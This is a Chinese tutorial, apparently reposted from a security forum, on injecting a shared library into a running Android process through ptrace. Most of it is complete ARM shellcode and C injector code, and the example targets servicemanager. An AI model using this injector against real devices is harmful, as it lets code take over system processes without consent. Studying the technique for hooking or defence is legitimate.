Android下的注入的效果是類似於Windows下的dll注入,關於Windows下面的注入可以參考這篇文章Windows注入術。而Android一般處理器是arm架構,內核是基於linux,因此進程間是弱相互作用,不存在Windows下類似於CreateRemoteThread 作用的函數,可以在其他進程空間內創建線程來加載我們的.so文件,所以我們所采用的方法就是依賴於linux下的ptrace()函數,將目標進程作為我們進程的子進程操作目標進程的寄存器和內存來運行我們加載.so文件的代碼將.so鏈接到目標進程。
源代碼來自於看雪論壇Android 注入
關於arm匯編指令ARM匯編指令
ptrace使用部分可以參考ptrace分析
接下來看第一個部分,通過dlopen函數將我們的.so文件鏈接到目標進程,也就是我們要直接”注入”的代碼,
.global _dlopen_addr_s @dlopen函數在目標進程中的地址 .global _dlopen_param1_s @dlopen參數1<.so>在目標進程中的地址 .global _dlopen_param2_s @dlopen參數2在目標進程中的地址 .global _dlsym_addr_s @dlsym函數在目標進程中的地址 .global _dlsym_param2_s @dlsym參數2<函數名>在目標進程中的地址 .global _dlclose_addr_s @dlclose在目標進程中的地址 .global _inject_start_s @shellcode的起始地址 .global _inject_end_s @shellcode的結束地址 .global _inject_function_param_s .global _saved_cpsr_s @保存CPSR,以便執行完"hook_entry"之后恢復環境 .global _saved_r0_pc_s @保存r0-r15,以便恢復環境 .data _inject_start_s: @ debug loop 3: @sub r1, r1, #0 @B 3b @ dlopen ldr r1, _dlopen_param2_s @設置dlopen第二個參數, flag ldr r0, _dlopen_param1_s @設置dlopen第一個參數 .so ldr r3, _dlopen_addr_s @dlopen函數 blx r3 @執行dlopen函數 subs r4, r0, #0 @檢測並保存dlopen的返回值 beq 2f @dlsym ldr r1, _dlsym_param2_s @設置dlsym第二個參數,第一個參數已經在r0中了 ldr r3, _dlsym_addr_s @dlsym函數地址 blx r3 @執行dlsym函數 subs r3, r0, #0 @檢測並保存dlsym的返回值 "hook_entry"的地址 beq 1f @call our function ldr r0, _inject_function_param_s @設置"hook_entry"第一個參數 blx r3 @執行"hook_entry"函數, subs r0, r0, #0 beq 2f 1: @dlclose mov r0, r4 @保存的dlopen返回值設為dlcose的第一個參數 ldr r3, _dlclose_addr_s blx r3 @執行dlclose函數 2: @restore context ldr r1, _saved_cpsr_s @恢復CPSR msr cpsr_cf, r1 ldr sp, _saved_r0_pc_s @恢復寄存器r0-r15 ldmfd sp, {r0-pc} _dlopen_addr_s: .word 0x11111111 _dlopen_param1_s: .word 0x11111111 _dlopen_param2_s: .word 0x2 _dlsym_addr_s: .word 0x11111111 _dlsym_param2_s: .word 0x11111111 _dlclose_addr_s: .word 0x11111111 _inject_function_param_s: .word 0x11111111 _saved_cpsr_s: .word 0x11111111 _saved_r0_pc_s: .word 0x11111111 _inject_end_s: .space 0x400, 0 @代碼段空間大小 0x4000-0x3c00
.end
那怎么把我們的這段匯編代碼寫入目標進程空間並執行呢?
- 在目標進程中找到內存來存放我們代碼,這里是通過調用mmap實現
- 把匯編代碼寫入到目標進程的內存中
- 執行我們的匯編代碼
首先,我們要通過mmap在目標進程中找到存放我們匯編代碼的內存:
- 獲取目標進程中的mmap地址。這里和Windows不一樣,在Windows中基本的模塊的基地址是一樣的,而且可以通過VirtualAllocEx()函數來目標進程中申請一塊內存。而在linux下,我們是通過mmap函數來建立以個映射區,作用相當於申請一塊內存,但是每個進程中的mmap函數地址不一樣,所以我們要比較”libc.so”在我們進程中和目標進程中基地址來獲得目標進程中mmap函數地址。
- 將mmap函數的參數寫入目標進程中。mmap有6個參數,前4個參數通過r0~r3參數,剩下兩個通過堆棧傳參,寫入SP。
- PC 寄存器設置為mmap的地址,lr設置為0 返回時,我們進程的waitpid( pid, NULL, WUNTRACED )會繼續向下執行。
- 把我們准備好的寄存器寫入目標進程的(PTRACE_SETREGS),並讓目標進程繼續執行,此時就直接去執行mmap函數了。
- mmap執行完之后,我們的waitpid繼續執行,申請的內存首地址在r0寄存器中(PTREACE_GETREGS)。
之后我們要為我們匯編代碼中的全局變量賦值:
- 獲取目標進程中的dlopen函數地址賦值給_dlopen_addr_s
- 獲取目標進程中的dlsym函數地址賦值給_dlsym_addr_s
- 獲取目標進程中的dlclose函數地址賦值為_dlclose_addr_s
- 將要注入的.so的路徑拷貝到匯編代碼中,然后計算路徑在目標進程中的絕對地址傳遞給_dlopen_param1_s
- 將要注入的.so文件中的”hook_entry”拷貝到匯編代碼中,然后計算路徑在目標進程中的絕對地址傳遞給_dlsym_param2_s
- 保存目標進程的CPSR寄存器的值 _saved_cpsr_s
- 將目標進程的r0~r15的值存入匯編代碼變量中,計算此變量在目標進程的地址保存在_saved_r0_pc_s中
- 將整個匯編代碼塊寫入目標進程(PTRACE_POKETEXE,……),內存為mmap所分配
- 將目標進程的pc寄存器設置為匯編代碼在目標進程中的地址,然后PTRACE_DETACH,讓目標進程執行,此時便會執行我們的匯編代碼,鏈接到我們的.so文件
/*attach到目標進程ptrace_attach*/ int ptrace_attach( pid_t pid ) { if ( ptrace( PTRACE_ATTACH, pid, NULL, 0 ) < 0 ) { perror( "ptrace_attach" ); return -1; } //暫停目標進程 waitpid( pid, NULL, WUNTRACED ); //DEBUG_PRINT("attached\n"); //做出系統調用或者准備退出的時候暫停 if ( ptrace( PTRACE_SYSCALL, pid, NULL, 0 ) < 0 ) { perror( "ptrace_syscall" ); return -1; } //子進程暫停之后立即返回 waitpid( pid, NULL, WUNTRACED ); return 0; }
/*獲取目標進程寄存器的值*/ int ptrace_getregs( pid_t pid, struct pt_regs* regs ) { if ( ptrace( PTRACE_GETREGS, pid, NULL, regs ) < 0 ) { perror( "ptrace_getregs: Can not get register values" ); return -1; } return 0; }
/*設置目標進程的寄存器*/ int ptrace_setregs( pid_t pid, struct pt_regs* regs ) { if ( ptrace( PTRACE_SETREGS, pid, NULL, regs ) < 0 ) { perror( "ptrace_setregs: Can not set register values" ); return -1; } return 0; }
/*獲取指定模塊在目標進程中的基地址*/ void* get_module_base( pid_t pid, const char* module_name ) { FILE *fp; long addr = 0; char *pch; char filename[32]; char line[1024]; if ( pid < 0 ) { /* self process */ snprintf( filename, sizeof(filename), "/proc/self/maps", pid ); } else { snprintf( filename, sizeof(filename), "/proc/%d/maps", pid ); } fp = fopen( filename, "r" ); if ( fp != NULL ) { while ( fgets( line, sizeof(line), fp ) ) { if ( strstr( line, module_name ) ) { pch = strtok( line, "-" ); addr = strtoul( pch, NULL, 16 ); if ( addr == 0x8000 ) addr = 0; break; } } fclose( fp ) ; } return (void *)addr; }
/*獲取函數在目標進程中的地址*/ void* get_remote_addr( pid_t target_pid, const char* module_name, void* local_addr ) { void* local_handle, *remote_handle; /* 指定模塊在我們自己進程的基地址*/ local_handle = get_module_base( -1, module_name ); /* 指定模塊在目標進程的基地址*/ remote_handle = get_module_base( target_pid, module_name ); DEBUG_PRINT( "[+] get_remote_addr: local[%x], remote[%x]\n", local_handle, remote_handle ); /*mmap函數在目標進程的絕對地址*/ return (void *)( (uint32_t)local_addr + (uint32_t)remote_handle - (uint32_t)local_handle ); }
/*在目標進程中執行指定函數*/ int ptrace_call( pid_t pid, uint32_t addr, long *params, uint32_t num_params, struct pt_regs* regs ) { uint32_t i; for ( i = 0; i < num_params && i < 4; i ++ ) { regs->uregs[i] = params[i]; } // // push remained params onto stack // if ( i < num_params ) { /*sp-4 ,參數入棧*/ regs->ARM_sp -= (num_params - i) * sizeof(long) ; ptrace_writedata( pid, (void *)regs->ARM_sp, (uint8_t *)¶ms[i], (num_params - i) * sizeof(long) ); } /*pc寄存器指向要call的地址*/ regs->ARM_pc = addr; /* * 判斷最后一位,如果是1就是thumb指令集 * 0是arm指令集 */ if ( regs->ARM_pc & 1 ) { /* thumb */ regs->ARM_pc &= (~1u); regs->ARM_cpsr |= CPSR_T_MASK; } else { /* arm */ regs->ARM_cpsr &= ~CPSR_T_MASK; } regs->ARM_lr = 0; /*目標進程執行完mmap之后暫停*/ if ( ptrace_setregs( pid, regs ) == -1 || ptrace_continue( pid ) == -1 ) { return -1; } /*等待目標進程中mmap執行完成*/ waitpid( pid, NULL, WUNTRACED ); return 0; }
/*把代碼寫入目標進程*/ int ptrace_writedata( pid_t pid, uint8_t *dest, uint8_t *data, size_t size ) { uint32_t i, j, remain; uint8_t *laddr; union u { long val; char chars[sizeof(long)]; } d; /* * arm匯編都是以4字節對齊 */ j = size / 4; remain = size % 4; laddr = data; for ( i = 0; i < j; i ++ ) { memcpy( d.chars, laddr, 4 ); /*往內存地址中寫入一個字節。pid表示被跟蹤的子進程,內存地址由addr給出,data為所要寫入的數*/ /*ptrace(PTRACE_POKETEXT, pid, addr, data)*/ ptrace( PTRACE_POKETEXT, pid, dest, d.val ); dest += 4; laddr += 4; } if ( remain > 0 ) { /* * ptrace(PTRACE_PEEKTEXT, pid, addr, data) * 從內存地址中讀取一個字節,pid表示被跟蹤的子進程,內存地址由addr給出,data為用戶變量地址用於返回讀到的數據 */ d.val = ptrace( PTRACE_PEEKTEXT, pid, dest, 0 ); for ( i = 0; i < remain; i ++ ) { d.chars[i] = *laddr ++; } /* * ptrace(PTRACE_POKETEXT, pid, addr, data) * 往內存地址中寫入一個字節。pid表示被跟蹤的子進程,內存地址由addr給出,data為所要寫入的數據 */ ptrace( PTRACE_POKETEXT, pid, dest, d.val ); } return 0; }
int inject_remote_process( pid_t target_pid, const char *library_path, const char *function_name, void *param, size_t param_size ) { int ret = -1; void *mmap_addr, *dlopen_addr, *dlsym_addr, *dlclose_addr; void *local_handle, *remote_handle, *dlhandle; uint8_t *map_base; uint8_t *dlopen_param1_ptr, *dlsym_param2_ptr, *saved_r0_pc_ptr, *inject_param_ptr, *remote_code_ptr, *local_code_ptr; struct pt_regs regs, original_regs; /* * shellcode.s 中的全局變量 */ extern uint32_t _dlopen_addr_s, _dlopen_param1_s, _dlopen_param2_s, _dlsym_addr_s, \ _dlsym_param2_s, _dlclose_addr_s, _inject_start_s, _inject_end_s, _inject_function_param_s, \ _saved_cpsr_s, _saved_r0_pc_s; uint32_t code_length; long parameters[10]; DEBUG_PRINT( "[+] Injecting process: %d\n", target_pid ); /*作為目標進程的父進程,暫停目標進程*/ if ( ptrace_attach( target_pid ) == -1 ) return EXIT_SUCCESS; /*讀取目標進程寄存器*/ if ( ptrace_getregs( target_pid, ®s ) == -1 ) goto exit; /* save original registers */ memcpy( &original_regs, ®s, sizeof(regs) ); /*mmap函數在目標進程的絕對地址*/ mmap_addr = get_remote_addr( target_pid, "/system/lib/libc.so", (void *)mmap ); DEBUG_PRINT( "[+] Remote mmap address: %x\n", mmap_addr ); /* call mmap */ parameters[0] = 0; // addr parameters[1] = 0x4000; // size parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC; // prot parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE; // flags /*匿名映射,映射區不與任何文件關聯*/ parameters[4] = 0; //fd parameters[5] = 0; //offset DEBUG_PRINT( "[+] Calling mmap in target process.\n" ); if ( ptrace_call( target_pid, (uint32_t)mmap_addr, parameters, 6, ®s ) == -1 ) goto exit; if ( ptrace_getregs( target_pid, ®s ) == -1 ) goto exit; DEBUG_PRINT( "[+] Target process returned from mmap, return value=%x, pc=%x \n", regs.ARM_r0, regs.ARM_pc ); /*mmap的返回值,映射區的基地址*/ map_base = (uint8_t *)regs.ARM_r0; dlopen_addr = get_remote_addr( target_pid, linker_path, (void *)dlopen ); dlsym_addr = get_remote_addr( target_pid, linker_path, (void *)dlsym ); dlclose_addr = get_remote_addr( target_pid, linker_path, (void *)dlclose ); DEBUG_PRINT( "[+] Get imports: dlopen: %x, dlsym: %x, dlclose: %x\n", dlopen_addr, dlsym_addr, dlclose_addr ); /*???*/ remote_code_ptr = map_base + 0x3C00; //0x400內存 shellcode space . 0x400 local_code_ptr = (uint8_t *)&_inject_start_s; //shellcode的開始的基地址 /* * dlopen dlsym dlclose在目標進程中的地址 */ _dlopen_addr_s = (uint32_t)dlopen_addr; _dlsym_addr_s = (uint32_t)dlsym_addr; _dlclose_addr_s = (uint32_t)dlclose_addr; DEBUG_PRINT( "[+] Inject code start: %x, end: %x\n", local_code_ptr, &_inject_end_s ); //shellcode 的長度 code_length = (uint32_t)&_inject_end_s - (uint32_t)&_inject_start_s; dlopen_param1_ptr = local_code_ptr + code_length + 0x20; dlsym_param2_ptr = dlopen_param1_ptr + MAX_PATH; saved_r0_pc_ptr = dlsym_param2_ptr + MAX_PATH; inject_param_ptr = saved_r0_pc_ptr + MAX_PATH; /* dlopen parameter 1: library name */ strcpy( dlopen_param1_ptr, library_path ); _dlopen_param1_s = REMOTE_ADDR( dlopen_param1_ptr, local_code_ptr, remote_code_ptr ); DEBUG_PRINT( "[+] _dlopen_param1_s: %x\n", _dlopen_param1_s ); /* dlsym parameter 2: function name */ strcpy( dlsym_param2_ptr, function_name ); /*hook_entry*/ _dlsym_param2_s = REMOTE_ADDR( dlsym_param2_ptr, local_code_ptr, remote_code_ptr ); DEBUG_PRINT( "[+] _dlsym_param2_s: %x\n", _dlsym_param2_s ); /* saved cpsr */ _saved_cpsr_s = original_regs.ARM_cpsr; /* saved r0-pc */ memcpy( saved_r0_pc_ptr, &(original_regs.ARM_r0), 16 * 4 ); // r0 ~ r15 _saved_r0_pc_s = REMOTE_ADDR( saved_r0_pc_ptr, local_code_ptr, remote_code_ptr ); DEBUG_PRINT( "[+] _saved_r0_pc_s: %x\n", _saved_r0_pc_s ); /* Inject function parameter */ memcpy( inject_param_ptr, param, param_size ); _inject_function_param_s = REMOTE_ADDR( inject_param_ptr, local_code_ptr, remote_code_ptr ); DEBUG_PRINT( "[+] _inject_function_param_s: %x\n", _inject_function_param_s ); DEBUG_PRINT( "[+] Remote shellcode address: %x\n", remote_code_ptr ); /*向目標進程寫入shellcode*/ ptrace_writedata( target_pid, remote_code_ptr, local_code_ptr, 0x400 ); memcpy( ®s, &original_regs, sizeof(regs) ); regs.ARM_sp = (long)remote_code_ptr; /*執行鏈接.so文件的代碼*/ regs.ARM_pc = (long)remote_code_ptr; ptrace_setregs( target_pid, ®s ); ptrace_detach( target_pid ); // inject succeeded ret = 0; exit: return ret; } int main(int argc, char** argv) { pid_t target_pid; target_pid = find_pid_of("/system/bin/servicemanager"); inject_remote_process( target_pid, "/dev/yuki/payload.so", "hook_entry", "I'm parameter!", strlen("I'm parameter!") ); }